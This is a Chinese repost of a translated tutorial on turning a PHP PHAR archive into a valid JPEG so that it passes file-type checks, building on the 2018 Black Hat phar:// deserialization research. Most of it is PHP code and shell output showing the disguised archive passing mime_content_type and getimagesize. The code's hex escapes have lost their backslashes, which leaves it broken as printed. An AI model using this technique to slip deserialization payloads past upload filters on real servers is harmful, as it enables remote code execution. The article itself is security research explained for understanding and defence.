我是靠谱客的博主 害羞大地,最近开发中收集的这篇文章主要介绍伪装成图片的php脚本,[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

2018年的美国黑帽大会表明可以从PHAR包中获取RCE,并且可通过调整其二进制内容,将其伪装成完整的有效图像,从而绕过安全检查。

接下来就让我们一起看看这是如何做到的吧。

背景

在2018年的美国黑帽大会期间,Sam Thomas召开了一个关于利用PHP中的Far://流包装器在服务器上执行代码的会议(幻灯片在此)。

在执行PHAR包时,PHP会将其内容反序列化,允许攻击者启动PHP对象包含链。最有趣的部分是如何触发有效负载:存档上的任何文件操作都将执行它。最后,没有必要猜测正确的文件名,因为失败的文件调用也需要PHP来反序列化其内容。

作为奖励点,完全可以将PHAR包伪装成100%有效的图像。

在这篇文章中,我们将展示如何做到这一点。

低至字节码级别

有时我们会忘记文件只是遵循预定义结构的一堆字节而已。

应用程序将检查它们是否可以管理这样的数据流,如果它们成功,它们将产生输出。

在他的演讲中,Thomas对如何创建具有有效JPEG标头的PHAR包做出提示。

c96e1053e00def0de6aa6019b316e960.png

(图片来自Sam Thomas的演示PPT)

我们要做的就是创建一个包含JPEG头的文件,并相应地更新PHAR校验和。通过这种方式,它将被视为一个图像,但PHP能够执行它。

第一步

更改几个字节并更新校验和应该可以轻松完成,对吧?

并不是。

最后,(至少对我来说)计算校验和是一件痛苦的事情。我就在想:是否能用PHP来为我做这些工作呢?

于是,我对Thomas的源码进行了修改:

class TestObject {}

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->addFromString("test.txt","test");

$phar->setStub("xFFxD8xFFxFEx13xFAx78x74 __HALT_COMPILER(); ?>");

$o = new TestObject();

$phar->setMetadata($o);

$phar->stopBuffering();

正如你看到的,我们将原始HEX字节添加到PHAR归档的存根部分。这是原始的HEX结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg

00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_

00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..

00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............

00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test

00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....

00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[

00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........

00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.

00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB

它是一个有效的PHAR包和JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg

phar.jpeg: JPEG image data

tampe125@AlphaCentauri:~$ php -a

php > var_dump(mime_content_type('phar.jpeg'));

php shell code:1:

string(10) "image/jpeg"

php > var_dump(file_exists('phar://phar.jpeg/test.txt'));

php shell code:1:

bool(true)

PHP成功将其识别为图像,我们可以继续探索存档的内容。

主要内容请查看存根部分并注意看它是如何缺少打开的PHP标记。这是躲过大多数扫描程序的关键部分。使存档有效的关键是__HALT_COMPILER()函数; 我认为PHP会用它作为标记来知道它应该跳过多少数据。

更进一步

我们有一个文件可以避开所有基于文件头的检查,但不能避开比检测文件头更复杂的一些检查。例如,检查图像的getimagesize将返回false,因为我们没有一个真实的图像文件:

tampe125@AlphaCentauri:~$ php -a

php > var_dump(getimagesize('phar.jpeg'));

php shell code:1:

bool(false)

糟糕!

等等,我们完全可以在__HALT_COMPILER()函数之前注入尽可能多的乱码。

如果我们要制作整个图片呢?

花了太多时间来讨论JPEG规范和阅读PHP源代码(我不希望其是我最大的敌人),我决定再次装傻。

我可以简单地使用GIMP创建一个10x10黑色图像,并把它嵌入进去吗?

class TestObject {}

$jpeg_header_size =

"xffxd8xffxe0x00x10x4ax46x49x46x00x01x01x01x00x48x00x48x00x00xffxfex00x13".

"x43x72x65x61x74x65x64x20x77x69x74x68x20x47x49x4dx50xffxdbx00x43x00x03x02".

"x02x03x02x02x03x03x03x03x04x03x03x04x05x08x05x05x04x04x05x0ax07x07x06x08x0cx0ax0cx0cx0bx0ax0bx0bx0dx0ex12x10x0dx0ex11x0ex0bx0bx10x16x10x11x13x14x15x15".

"x15x0cx0fx17x18x16x14x18x12x14x15x14xffxdbx00x43x01x03x04x04x05x04x05x09x05x05x09x14x0dx0bx0dx14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14".

"x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14x14xffxc2x00x11x08x00x0ax00x0ax03x01x11x00x02x11x01x03x11x01".

"xffxc4x00x15x00x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x08xffxc4x00x14x01x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xffxdax00x0cx03".

"x01x00x02x10x03x10x00x00x01x95x00x07xffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x05x02x1fxffxc4x00x14x11".

"x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx01x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20".

"xffxdax00x08x01x02x01x01x3fx01x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x06x3fx02x1fxffxc4x00x14x10x01".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx21x1fxffxdax00x0cx03x01x00x02x00x03x00x00x00x10x92x4fxffxc4x00x14x11x01x00".

"x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x03x01x01x3fx10x1fxffxc4x00x14x11x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxda".

"x00x08x01x02x01x01x3fx10x1fxffxc4x00x14x10x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20xffxdax00x08x01x01x00x01x3fx10x1fxffxd9";

$phar = new Phar("phar.phar");

$phar->startBuffering();

$phar->addFromString("test.txt","test");

$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");

$o = new TestObject();

$phar->setMetadata($o);

$phar->stopBuffering();

现在,是检验的时刻了:

tampe125@AlphaCentauri:~$ file phar.jpeg

phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3

tampe125@AlphaCentauri:~$ php -a

php > var_dump(mime_content_type('phar.jpeg'));

php shell code:1:

string(10) "image/jpeg"

php > var_dump(file_exists('phar://phar.jpeg/test.txt'));

php shell code:1:

bool(true)

php > var_dump(getimagesize('phar.jpeg'));

php shell code:1:

array(7) {

[0] =>

int(10)

[1] =>

int(10)

[2] =>

int(2)

[3] =>

string(22) "width="10" height="10""

'bits' =>

int(8)

'channels' =>

int(3)

'mime' =>

string(10) "image/jpeg"

}

最后,我们成功啦!文件是一个PHAR包,其中包含了我们想要利用的类,但它仍然是一个有效的图像(它甚至可以用系统的图像查看器打开):

26ea52b50b4720115a97f79e10fbab81.png

结论

如上文所述,文件只是一堆字节:如果我们所做的检查都是基于其元数据的,那这个过程将会比较难受。篡改核心函数以返回我们想要的结果是非常容易的。唯一的解决方案是实际地读取文件内容并搜索恶意字符串。

翻译:看雪Logdty

校对:看雪cherrir

最后

以上就是害羞大地为你收集整理的伪装成图片的php脚本,[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测的全部内容,希望文章能够帮你解决伪装成图片的php脚本,[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(46)

评论列表共有 0 条评论

立即
投稿
返回
顶部